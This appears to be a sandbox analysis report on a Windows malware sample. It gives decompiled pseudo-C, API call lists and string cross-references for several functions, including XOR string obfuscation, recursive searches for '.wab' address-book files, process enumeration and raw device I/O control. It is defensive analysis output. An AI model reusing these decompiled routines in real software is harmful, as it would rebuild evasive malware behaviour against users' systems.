				_a96 = 0x6e;
				_a98 = 0x9c;
				_a68 = 0x9c;
				_a75 = 0x6e;
				_a101 = 0x61;
				_a102 = 0x72;
				_a103 = 0x65;
				_a104 = 0x32;
				_a105 = 0x2e;
				_a107 = __edx;
				_a108 = 0x6d;
				_a109 = 0;
				_a84 = 0x14;
				_a85 = 0xd8;
				_a86 = 0x9f;
				_a87 = 0xf1;
				_a88 = 0x1a;
				_a89 = 0xb7;
				_a90 = 0x89;
				_a91 = 0xd;
				_a92 = 0x66;
				_a93 = 0x92;
				_a94 = 0x77;
				_a95 = 0x96;
				_a97 = 0x8f;
				_a69 = 0xe2;
				_a70 = 1;
				_a71 = 0xf5;
				_a72 = 0x59;
				_a73 = 0xe1;
				_a74 = 9;
				_a76 = 0xf0;
				_a77 = 0xdb;
				_a78 = 0x34;
				_a79 = 0x9d;
				_a80 = 0xf6;
				_a81 = 0xb9;
				_a82 = 0x79;
				_t270 = 0;
				_t318 = 0xe;
				do {
					_a11 =  *((intOrPtr*)(_t341 + _t270 + 0x44));
					 *((char*)(_t341 + _t270 + 0x44)) =  *((intOrPtr*)(_t341 + _t318 + 0x44));
					_t270 = _t270 + 1;
					 *((char*)(_t341 + _t318 + 0x44)) = _a11;
					_t318 = _t318 - 1;
				} while (_t270 < _t318);
				_t271 = 0;
				 *0x431c89 = 0x19;
				do {
					 *(_t341 + _t271 + 0x54) =  *(_t341 + _t271 + 0x54) ^  *(_t341 + _t271 + 0x44);
					 *(_t341 + _t271 + 0x55) =  *(_t341 + _t271 + 0x55) ^  *(_t341 + _t271 + 0x45);
					 *(_t341 + _t271 + 0x56) =  *(_t341 + _t271 + 0x56) ^  *(_t341 + _t271 + 0x46);
					 *(_t341 + _t271 + 0x57) =  *(_t341 + _t271 + 0x57) ^  *(_t341 + _t271 + 0x47);
					 *(_t341 + _t271 + 0x58) =  *(_t341 + _t271 + 0x58) ^  *(_t341 + _t271 + 0x48);
					_t271 = _t271 + 5;
				} while (_t271 < 0xf);
				_a68 = 0x6d;
				_a74 = __edx;
				_a75 = 0x6d;
				_a12 =  &_a180;
				_a16 =  &_a168;
				_a20 =  &_a112;
				_a24 =  &_a156;
				_a28 =  &_a140;
				_a32 =  &_a192;
				_a36 =  &_a56;
				_a40 =  &_a124;
				_a69 = 0x61;
				_a70 = 0x69;
				_a71 = 0x6c;
				_a72 = 0x2e;
				_a73 = 0x63;
				_a76 = 0;
				_a44 =  &_a100;
				_a48 =  &_a84;
				_a52 =  &_a68;
				_t277 = E0040C1D0( &_a84);
				_t338 =  *((intOrPtr*)(_t341 + 0xc + _t277 % 0xb * 4));
				_t279 =  *((intOrPtr*)(_t341 + 0xc + _t277 % 0xb * 4));
				_t339 = _t279 + 1;
				do {
					_t328 =  *_t279;
					_t279 = _t279 + 1;
				} while (_t328 != 0);
				return E00424873(E004028A0(_a212, _t338, _t279 - _t339), _a196);
			}

0x00410220
0x00410220
0x0041022c
0x00000000
0x00000000
0x0041022e
0x00410236
0x0041023d
0x00410244
0x0041024c
0x00410254
0x0041025c
0x00410264
0x0041026b
0x00410273
0x0041027b
0x00410280
0x00410285
0x0041028a
0x0041028f
0x00410294
0x00410299
0x0041029e
0x004102a3
0x004102a8
0x004102ad
0x004102b2
0x004102b7
0x004102bc
0x004102c1
0x004102c6
0x004102cb
0x004102d0
0x004102d5
0x004102da
0x004102df
0x004102e4
0x004102e9
0x004102ee
0x004102f2
0x004102f4
0x004102f8
0x00410300
0x00410308
0x00410310
0x00410318
0x00410320
0x00410324
0x00410327
0x0041032e
0x00410335
0x00410339
0x0041033e
0x00410343
0x00410348
0x0041034d
0x00410355
0x0041035d
0x00410365
0x0041036c
0x00410374
0x0041037c
0x00410383
0x0041038b
0x00410393
0x0041039b
0x004103a3
0x004103a8
0x004103ad
0x004103b2
0x004103b7
0x004103bc
0x004103c1
0x004103c5
0x004103ca
0x004103cf
0x004103d4
0x004103d9
0x004103de
0x004103e3
0x004103e8
0x004103ed
0x004103ef
0x004103f4
0x004103f8
0x00410400
0x00410408
0x00410409
0x0041040d
0x0041040e
0x00410412
0x00410414
0x00410422
0x00410430
0x0041043a
0x0041043e
0x00410442
0x00410446
0x00410449
0x00410450
0x00410454
0x0041045c
0x00410460
0x00410464
0x00410468
0x0041046c
0x00410471
0x00410476
0x0041047b
0x00410480
0x00410485
0x00410489
0x0041048e
0x00410493
0x00410498
0x0041049d
0x004104a2
0x004104a7
0x004104ac
0x004104b1
0x004104b6
0x004104bb
0x004104c0
0x004104c5
0x004104ca
0x004104cf
0x004104d4
0x004104d9
0x004104de
0x004104e3
0x004104e8
0x004104ed
0x004104f2
0x004104f7
0x004104fc
0x00410501
0x00410506
0x0041050b
0x00410510
0x00410515
0x00410517
0x00410520
0x00410524
0x0041052c
0x00410534
0x00410535
0x00410539
0x0041053a
0x0041053e
0x00410540
0x00410550
0x0041055e
0x0041056c
0x0041057a
0x00410588
0x0041058c
0x00410590
0x00410593
0x0041059a
0x0041059e
0x004105a2
0x004105ad
0x004105b8
0x004105ce
0x004105d2
0x004105d6
0x004105e9
0x004105ed
0x004105f1
0x00410601
0x00410606
0x0041060b
0x00410610
0x00410615
0x0041061a
0x0041061f
0x00410623
0x00410627
0x0041062b
0x00410639
0x0041063d
0x0041063f
0x00410642
0x00410642
0x00410644
0x00410645
0x0041066d

Strings

Z, xrefs: 00410294
r, xrefs: 004103A3
r, xrefs: 00410471
P, xrefs: 0041028F
a, xrefs: 0041035D
w, xrefs: 00410244
y, xrefs: 0041024C
m, xrefs: 00410489
4, xrefs: 004104FC
., xrefs: 00410254
c, xrefs: 0041025C
f, xrefs: 004104BB
Y, xrefs: 00410374
m, xrefs: 0041026B
., xrefs: 00410610
8, xrefs: 004103BC
1, xrefs: 004102B2
e, xrefs: 00410476
l, xrefs: 0041060B
), xrefs: 0041029E
e, xrefs: 004103A8
H, xrefs: 0041038B
|, xrefs: 00410280
2, xrefs: 0041047B
a, xrefs: 00410601
;, xrefs: 004103E8
w, xrefs: 004104C5
], xrefs: 004102A8
g, xrefs: 0041022E
0, xrefs: 004102A3
y, xrefs: 00410510
., xrefs: 00410480
a, xrefs: 0041046C
i, xrefs: 00410606
c, xrefs: 00410615
+er, xrefs: 0041043A
^, xrefs: 00410339

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: )$+er$.$.$.$0$1$2$4$8$;$H$P$Y$Z$]$^$a$a$a$c$c$e$e$f$g$i$l$m$m$r$r$w$w$y$y$|
API String ID: 0-4173656555
Opcode ID: 13c7261068a279b665ea6526948f7de473095d818c6d211f64eeb69ff01100b8
Instruction ID: cc4908e3cf9e9199b2ca41d9ff5df4c0b3ec9ae81486f173f0d29628f668ed9d
Opcode Fuzzy Hash: 13c7261068a279b665ea6526948f7de473095d818c6d211f64eeb69ff01100b8
Instruction Fuzzy Hash: 6AE1D02010D7C189D322977C9458B9FFFE11FA7218F585E9EE1E48B393C2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 00423D83, Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 160
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423D83(void* __ebx, void* __edi, void* __esi, CHAR* _a4, void _a8, void* _a12, long _a16, DWORD* _a20) {
				intOrPtr _v8;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				struct _OVERLAPPED* _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v552;
				char _v1064;
				char _v1065;
				intOrPtr _t77;
				struct _OVERLAPPED* _t78;
				void* _t95;
				long _t96;
				long _t102;
				signed char _t114;
				signed char _t117;
				signed int _t120;
				void* _t125;
				void* _t127;

				_t77 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t77;
				_v28 = 0xec;
				_v27 = 0xc7;
				_v26 = 0x54;
				_v25 = 0x7d;
				_v24 = 0xdc;
				_v16 = 0xb0;
				_v15 = 0x9b;
				_v14 = 0x7a;
				_v13 = 0x21;
				_v12 = 0xdc;
				_t78 = 0;
				do {
					 *(_t127 + _t78 - 0x18) =  *(_t127 + _t78 - 0x18) ^  *(_t127 + _t78 - 0xc);
					_t78 =  &(_t78->Internal);
				} while (_t78 < 5);
				_v40 = 0x65;
				_v39 = 0xc0;
				_v38 = 0x88;
				_v37 = 0xf4;
				_v36 = 0xc4;
				_v35 = 0x2d;
				_v34 = 0xd9;
				_v33 = 0x18;
				_v32 = 0x66;
				_v20 = 0x99;
				_v19 = 0xc5;
				_v18 = 0x81;
				_v17 = 0xe4;
				_v16 = 0x92;
				_v15 = 0xfb;
				_v14 = 0x98;
				_v13 = 0xfd;
				_v12 = 0xa1;
				_t120 = 0x1ee2;
				_t125 = 0;
				do {
					_t117 = 0x1c - _t120;
					 *(_t127 + _t125 - 0x24) =  *(_t127 + _t125 - 0xf) ^  *(_t127 + _t125 - 0x10);
					_t120 = (_t120 ^ 0x0000001c) * 0x1d >> 0x20;
					_t125 = _t125 + 1;
					 *0x43201d = 0x32c ^ _t117 | 0x00000048;
				} while (_t125 < 8);
				 *_a20 = 0;
				 *(_t127 + _t125 - 0x24) = 0;
				_v16 = 0;
				_v1065 = 0;
				if(QueryDosDeviceA(_a4,  &_v552, 0x200) != 0) {
					L10:
					lstrcpyA( &_v1064,  &_v28);
					 *0x43201d = 0x63;
					lstrcatA( &_v1064, _a4);
					_t114 = 0x1c -  *0x43201d;
					_t95 = CreateFileA( &_v1064, 0, 1, 0, 3, 0, 0xffffffff);
					if(_t95 == 0xffffffff) {
						_t96 = GetLastError();
						L15:
						_v16 = _t96;
						L16:
						if(_v1065 == 0 || DefineDosDeviceA(7, _a4,  &_v552) != 0) {
							_t97 = _v16;
						} else {
							_t97 = GetLastError();
						}
						L20:
						return E00424873(_t97, _v8);
					}
					if(DeviceIoControl(_t95, 0x170002,  &_a8, 4, _a12, _a16, _a20, 0) != 0) {
						goto L16;
					}
					_t96 = GetLastError();
					 *0x43201d =  *0x43201d ^ _t114;
					goto L15;
				}
				_t102 = GetLastError();
				if(_t102 != 2) {
					L8:
					_v16 = _t102;
					L9:
					_t97 = _v16;
					if(_v16 != 0) {
						goto L20;
					}
					goto L10;
				}
				lstrcpyA( &_v552,  &_v40);
				lstrcatA( &_v552, _a4);
				if(DefineDosDeviceA(1, _a4,  &_v552) != 0) {
					_v1065 = 1;
					goto L9;
				}
				_t102 = GetLastError();
				goto L8;
			}

0x00423d8c
0x00423d94
0x00423d99
0x00423d9d
0x00423da1
0x00423da5
0x00423da9
0x00423dad
0x00423db1
0x00423db5
0x00423db9
0x00423dbd
0x00423dc1
0x00423dc3
0x00423dc7
0x00423dcb
0x00423dcc
0x00423dd1
0x00423dd5
0x00423dd9
0x00423ddd
0x00423de1
0x00423de5
0x00423de9
0x00423ded
0x00423df1
0x00423df5
0x00423df9
0x00423dfd
0x00423e01
0x00423e05
0x00423e09
0x00423e0d
0x00423e11
0x00423e15
0x00423e19
0x00423e1e
0x00423e20
0x00423e22
0x00423e33
0x00423e39
0x00423e3f
0x00423e43
0x00423e43
0x00423e4d
0x00423e5e
0x00423e63
0x00423e66
0x00423e81
0x00423ed5
0x00423ee0
0x00423eec
0x00423ef3
0x00423f06
0x00423f0d
0x00423f16
0x00423f52
0x00423f58
0x00423f58
0x00423f5b
0x00423f62
0x00423f82
0x00423f7a
0x00423f7a
0x00423f7a
0x00423f85
0x00423f91
0x00423f91
0x00423f36
0x00000000
0x00000000
0x00423f38
0x00423f3e
0x00000000
0x00423f3e
0x00423e83
0x00423e8c
0x00423ec7
0x00423ec7
0x00423eca
0x00423eca
0x00423ecf
0x00000000
0x00000000
0x00000000
0x00423ecf
0x00423e99
0x00423ea5
0x00423ebb
0x00423f46
0x00000000
0x00423f46
0x00423ec1
0x00000000

APIs

QueryDosDeviceA.KERNEL32(000000A1,?,00000200), ref: 00423E6D
GetLastError.KERNEL32 ref: 00423E83
lstrcpyA.KERNEL32(?,00000000), ref: 00423E99
lstrcatA.KERNEL32(?,000000A1), ref: 00423EA5
DefineDosDeviceA.KERNEL32 ref: 00423EB3
GetLastError.KERNEL32 ref: 00423EC1
lstrcpyA.KERNEL32(?,000000EC), ref: 00423EE0
lstrcatA.KERNEL32(?,000000A1), ref: 00423EF3
CreateFileA.KERNEL32(?,00000000,00000001,00000000,00000003,00000000,000000FF), ref: 00423F0D
DeviceIoControl.KERNEL32 ref: 00423F2E
GetLastError.KERNEL32 ref: 00423F38
DefineDosDeviceA.KERNEL32 ref: 00423F70
GetLastError.KERNEL32 ref: 00423F7A

Strings

e, xrefs: 00423DD1
G@,, xrefs: 00423D8C
T, xrefs: 00423DA1
-, xrefs: 00423DE5
z, xrefs: 00423DB5
f, xrefs: 00423DF1
!, xrefs: 00423DB9
}, xrefs: 00423DA5

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: DeviceErrorLast$Definelstrcatlstrcpy$ControlCreateFileQuery
String ID: !$-$G@,$T$e$f$z$}
API String ID: 204970884-4045874735
Opcode ID: 56c54b7da3f6591e38d1c0b40ab5c6b6fc7a851bac03c90d99fe65f73b77bc95
Instruction ID: beacce81ebdc5a62315d6854d61fdc252875682725b92811e62445d41cf4b898
Opcode Fuzzy Hash: 56c54b7da3f6591e38d1c0b40ab5c6b6fc7a851bac03c90d99fe65f73b77bc95
Instruction Fuzzy Hash: BD61B830A042DDAEDF21CFB99C48ADE7FB49F16320F444295E5A4A62D1C3744706CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406360, Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 151
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00406360(CHAR* _a4, char _a8) {
				intOrPtr _v8;
				char _v532;
				struct _WIN32_FIND_DATAA _v852;
				char _v856;
				char _v857;
				char _v858;
				char _v859;
				char _v860;
				void* _v864;
				char _v865;
				char _v866;
				char _v867;
				char _v868;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t53;
				int _t62;
				void* _t65;
				signed char _t78;
				void* _t87;
				signed int _t92;
				void* _t123;
				void* _t127;
				void* _t128;
				void* _t130;
				void* _t132;
				signed int _t133;
				void* _t136;
				void* _t137;

				_t53 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t53;
				_v868 = 0x2a;
				_v866 = 0x2a;
				memset( &_v532, 0, 0x82 << 2);
				_t136 = (_t133 & 0xfffffff8) - 0x364 + 0xc;
				_v867 = 0x2e;
				_v865 = 0;
				lstrcpyA( &_v532, _a4);
				_t130 = lstrcatA;
				lstrcatA( &_v532,  &_v868);
				_t123 = FindFirstFileA( &_v532,  &_v852);
				_v864 = _t123;
				_t62 = GetLastError();
				_t92 = 0x2684;
				if(_t123 == 0xffffffff) {
					L13:
					return E00424873(_t62, _v8);
				} else {
					goto L1;
				}
				do {
					L1:
					if((_v852.dwFileAttributes & 0x00000010) == 0) {
						L6:
						_t65 = E00405310(_t92, _t123, _t130, _t132,  &(_v852.cFileName));
						_t136 = _t136 + 4;
						if(_t65 == 0) {
							goto L11;
						}
						_t127 =  &_v532;
						memset(_t127, 0, 0x82 << 2);
						_t128 = _t127 + 0x82;
						lstrcpyA( &_v532, _a4);
						lstrcatA( &_v532,  &(_v852.cFileName));
						_v860 = 0x2e;
						_v859 = 0x77;
						_v858 = 0x61;
						_v857 = 0x62;
						_v856 = 0;
						_t87 = E00425320( &_v532,  &_v860);
						_t137 = _t136 + 0x14;
						if(_t87 == 0) {
							_t48 =  &_a8; // 0x5c3a20
							_t92 =  *0x431c84 * 0x74;
							E00406260( &_v532,  *_t48);
						} else {
							_t46 =  &_a8; // 0x5c3a20
							_push( *_t46);
							_push( &_v532);
							_t92 = 0;
							E00415690(0, _t128, _t130);
						}
						L10:
						_t136 = _t137 + 8;
						goto L11;
					}
					_t123 = lstrcmpA;
					if(lstrcmpA( &(_v852.cFileName), 0x42e310) == 0 || lstrcmpA( &(_v852.cFileName), 0x42e30c) == 0) {
						if((_v852.dwFileAttributes & 0x00000010) != 0) {
							goto L11;
						}
						goto L6;
					} else {
						memset( &_v532, 0, 0x82 << 2);
						_t137 = _t136 + 0xc;
						lstrcpyA( &_v532, _a4);
						lstrcatA( &_v532,  &(_v852.cFileName));
						lstrcatA( &_v532, 0x42e308);
						_t27 =  &_a8; // 0x5c3a20
						_t92 = 0x2be;
						E00406360( &_v532,  *_t27);
						goto L10;
					}
					L11:
					_t123 = _v864;
				} while (FindNextFileA(_t123,  &_v852) != 0);
				_t78 =  *0x431c84; // 0x0
				 *0x431c84 = _t78 - _t92 | 0x00000080;
				_t62 = FindClose(_t123);
				goto L13;
			}

0x0040636c
0x00406372
0x0040637d
0x00406381
0x00406393
0x00406393
0x004063a1
0x004063a6
0x004063ab
0x004063b1
0x004063c4
0x004063d9
0x004063db
0x004063df
0x004063e8
0x004063ed
0x00406562
0x00406574
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063f3
0x004063f8
0x0040648a
0x0040648f
0x00406494
0x00406499
0x00000000
0x00000000
0x004064a6
0x004064ad
0x004064ad
0x004064bb
0x004064ce
0x004064dd
0x004064e2
0x004064e7
0x004064ec
0x004064f1
0x004064f6
0x004064fb
0x00406500
0x00406517
0x00406522
0x0040652d
0x00406502
0x00406502
0x00406505
0x0040650d
0x0040650e
0x00406510
0x00406510
0x00406532
0x00406532
0x00000000
0x00406532
0x004063fe
0x00406412
0x00406484
0x00000000
0x00000000
0x00000000
0x00406424
0x00406435
0x00406435
0x00406440
0x00406453
0x00406462
0x00406464
0x00406470
0x00406475
0x00000000
0x00406475
0x00406535
0x00406535
0x00406545
0x0040654d
0x00406557
0x0040655c
0x00000000

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,74E5F990,00000063), ref: 004063AB
lstrcatA.KERNEL32(?,?,?,?,?,?,?,74E5F990,00000063), ref: 004063C4
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,74E5F990,00000063), ref: 004063D3
GetLastError.KERNEL32(?,?,?,?,?,74E5F990,00000063), ref: 004063DF
lstrcmpA.KERNEL32(?,0042E310), ref: 0040640E
lstrcmpA.KERNEL32(?,0042E30C), ref: 0040641E
lstrcpyA.KERNEL32(?,?), ref: 00406440
lstrcatA.KERNEL32(?,?), ref: 00406453
lstrcatA.KERNEL32(?,0042E308), ref: 00406462
lstrcpyA.KERNEL32(?,?,00000063), ref: 004064BB
lstrcatA.KERNEL32(?,?), ref: 004064CE
FindNextFileA.KERNEL32(?,?,00000063), ref: 0040653F
FindClose.KERNEL32(?), ref: 0040655C

Strings

., xrefs: 004064DD
G@,, xrefs: 0040636C
:\, xrefs: 00406517, 00406502, 00406464, 00406467, 00406505, 00406521
w, xrefs: 004064E2
., xrefs: 004063A1
a, xrefs: 004064E7
b, xrefs: 004064EC

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: lstrcat$Findlstrcpy$Filelstrcmp$CloseErrorFirstLastNext
String ID: :\$.$.$G@,$a$b$w
API String ID: 1838452084-3157645662
Opcode ID: 26a3c23a68273bf8c967d5a4a1b22617189afc168d45bd22dd0b1123420d9e14
Instruction ID: d91f1d41485bd9133756b8c6267c5f734ad3426634637d29d8fe53ea42b8f97d
Opcode Fuzzy Hash: 26a3c23a68273bf8c967d5a4a1b22617189afc168d45bd22dd0b1123420d9e14
Instruction Fuzzy Hash: CF51F772108384ABC720DB65DC44BDFB7E9AFC8304F40492EF58A97281D779D609CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00401830, Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401830() {
				intOrPtr _v4;
				char _v264;
				char _v268;
				char _v269;
				char _v271;
				char _v273;
				char _v275;
				char _v277;
				char _v279;
				char _v281;
				char _v283;
				struct _SYSTEMTIME _v284;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				intOrPtr _t44;
				void* _t46;
				char* _t60;

				_t60 =  &_v304;
				_t44 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t44;
				_v288 = 0x87;
				_v268 = 0x87;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v284.wYear = 0x5e;
				_v283 = 0x6d;
				_v284.wMonth = 0x10;
				_v281 = 0xb0;
				_v284.wDayOfWeek = 0x3c;
				_v279 = 0xf9;
				_v284.wDay = 0xe3;
				_v277 = 2;
				_v284.wHour = 0x68;
				_v275 = 0x8c;
				_v284.wMinute = 0xc;
				_v273 = 0x1f;
				_v284.wSecond = 0x74;
				_v271 = 0x46;
				_v284.wMilliseconds = 0xe5;
				_v269 = 0x95;
				_t46 = 0;
				do {
					_t60[_t46] = _t60[_t46] ^ _t60[_t46 + 0x14];
					_t46 = _t46 + 1;
				} while (_t46 < 0x11);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				GetLocalTime( &_v284);
				return E00424873(CloseHandle(CreateFileA( &_v264, 0x40000000, 0, 0, 2, 0, 0)), _v4);
			}

0x00401830
0x00401836
0x0040183b
0x00401846
0x0040184a
0x0040184e
0x00401852
0x00401857
0x0040185c
0x00401861
0x00401866
0x0040186a
0x0040186f
0x00401874
0x00401879
0x0040187e
0x00401883
0x00401888
0x0040188d
0x00401892
0x00401897
0x0040189c
0x004018a1
0x004018a6
0x004018ab
0x004018af
0x004018b4
0x004018b9
0x004018be
0x004018c3
0x004018c8
0x004018cd
0x004018d2
0x004018d7
0x004018dc
0x004018e1
0x004018e6
0x004018eb
0x004018f0
0x004018f9
0x004018fc
0x004018fd
0x00401911
0x0040191c
0x00401955

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00401911
GetLocalTime.KERNEL32(0000005E), ref: 0040191C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401936
CloseHandle.KERNEL32(00000000), ref: 0040193D

Strings

h, xrefs: 004018C3
t, xrefs: 004018D7
4, xrefs: 00401874
^, xrefs: 0040189C
m, xrefs: 004018A1
z, xrefs: 00401883
', xrefs: 0040186F
F, xrefs: 004018DC
0, xrefs: 0040188D
Y, xrefs: 00401857
x, xrefs: 00401861
G@,, xrefs: 00401836
:, xrefs: 00401852
<, xrefs: 004018AF

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleLocalStringsTime
String ID: '$0$4$:$<$F$G@,$Y$^$h$m$t$x$z
API String ID: 2910088009-3976519436
Opcode ID: a79a7929436da7264a15b6a66c219a1273af2adf041c396046486cd8ebe7c2c0
Instruction ID: 9d7d35d6ed35067f5301624282322d6ee0cd526578bc1b9978354d1e4a90c02c
Opcode Fuzzy Hash: a79a7929436da7264a15b6a66c219a1273af2adf041c396046486cd8ebe7c2c0
Instruction Fuzzy Hash: E631EC2110C3C1D9E312DB38984874FBFD15BA7618F488A9DF1E95A2D2C2B99249C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 00405090, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 139
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00405090(void* __ebx, void* __edi, void* __esi, void* __ebp, int* _a4) {
				intOrPtr _v4;
				char _v264;
				char _v532;
				intOrPtr _v560;
				signed char _v562;
				signed char _v563;
				void* _v564;
				signed char _v565;
				signed char _v566;
				signed char _v567;
				void* _v568;
				signed int _v570;
				signed int _v571;
				signed int _v572;
				signed int _v573;
				signed int _v574;
				signed int _v575;
				signed int _v576;
				intOrPtr _t47;
				void* _t50;
				long _t58;
				void* _t62;
				int _t71;
				int _t74;
				void* _t79;
				signed char _t90;
				char _t93;
				int* _t103;
				void* _t106;
				void* _t107;
				signed int* _t108;
				signed int* _t109;

				_t107 = __ebp;
				_t108 =  &_v576;
				_t47 =  *0x4310d8; // 0x2c0d4047
				_t103 = _a4;
				_v4 = _t47;
				 *_t103 = 0;
				GetSystemDirectoryA( &_v264, 0x104);
				_v576 = 0xea;
				_v575 = 0x95;
				_v574 = 0x54;
				_v573 = 0x8f;
				_v572 = 0x6f;
				_v571 = 0x90;
				_v570 = 0xf7;
				_t50 = 0;
				_t79 = 6;
				do {
					_t76 =  *((intOrPtr*)(_t108 + _t79 + 0xc));
					_t93 =  *((intOrPtr*)(_t108 + _t50 + 0xc));
					 *((char*)(_t108 + _t50 + 0xc)) =  *((intOrPtr*)(_t108 + _t79 + 0xc));
					_t50 = _t50 + 1;
					 *((char*)(_t108 + _t79 + 0xc)) = _t93;
					_t79 = _t79 - 1;
				} while (_t50 < _t79);
				_v568 = _v576 ^ 0x00000092;
				_v567 = _v575 ^ 0x000000a1;
				_v566 = _v574 ^ 0x00000041;
				_v565 = _v573 ^ 0x000000eb;
				_v564 = _v572 ^ 0x00000038;
				_v563 = _v571 ^ 0x000000f9;
				 *0x431c83 = 0x6c;
				_v562 = _v570 ^ 0x000000ea;
				lstrcatA( &_v264, 0x42e308);
				lstrcatA( &_v264,  &_v568);
				_t58 = GetFileAttributesA( &_v264);
				_t112 = _t58 - 0xffffffff;
				if(_t58 != 0xffffffff) {
					L13:
					return E00424873(1, _v4);
				} else {
					_push(0x42e304);
					_push( &_v264);
					_t62 = E0041E0B0(_t112, 0);
					_t109 =  &(_t108[3]);
					if(_t62 == 0) {
						L5:
						return E00424873(0, _v4);
					} else {
						E004047A0();
						_t106 = CreateToolhelp32Snapshot(2, 0);
						if(_t106 != 0xffffffff) {
							_v564 = 0x128;
							__eflags = Process32First(_t106,  &_v564);
							while(__eflags != 0) {
								_push( &_v532);
								 *0x431c83 = 0x2a;
								E00425C34(_t76, _t103, _t106, __eflags);
								_push( &_v532);
								_t76 =  *0x431c83 + 0xd;
								_t71 = E00404990(_t76, _t103, _t106, _t107);
								_t109 =  &(_t109[2]);
								__eflags = _t71;
								if(_t71 != 0) {
									_t90 =  *0x431c83; // 0x0
									 *0x431c83 = _t90 | _t76;
									_t74 = E00404840(_v560,  &_v576);
									__eflags = _t74;
									if(_t74 == 0) {
										 *_t103 = 1;
									}
									 *0x431c83 = 0x6c;
								}
								__eflags = Process32Next(_t106,  &_v568);
							}
							CloseHandle(_t106);
							goto L13;
						} else {
							goto L5;
						}
					}
				}
			}

0x00405090
0x00405090
0x00405096
0x0040509e
0x004050a5
0x004050b9
0x004050bf
0x004050c5
0x004050ca
0x004050cf
0x004050d4
0x004050d9
0x004050de
0x004050e3
0x004050e8
0x004050ea
0x004050f0
0x004050f0
0x004050f4
0x004050f8
0x004050fc
0x004050fd
0x00405101
0x00405102
0x0040511e
0x00405126
0x00405136
0x0040513e
0x00405146
0x0040515c
0x00405160
0x00405167
0x0040516b
0x0040517a
0x00405184
0x0040518a
0x0040518d
0x00405269
0x00405283
0x00405193
0x00405193
0x0040519f
0x004051a2
0x004051a7
0x004051ac
0x004051c5
0x004051da
0x004051ae
0x004051ae
0x004051bc
0x004051c1
0x004051e1
0x004051ee
0x004051f0
0x004051f6
0x004051f7
0x004051fe
0x0040520f
0x00405210
0x00405213
0x00405218
0x0040521b
0x0040521d
0x0040521f
0x00405231
0x0040523d
0x00405242
0x00405244
0x00405246
0x00405246
0x0040524c
0x0040524c
0x0040525e
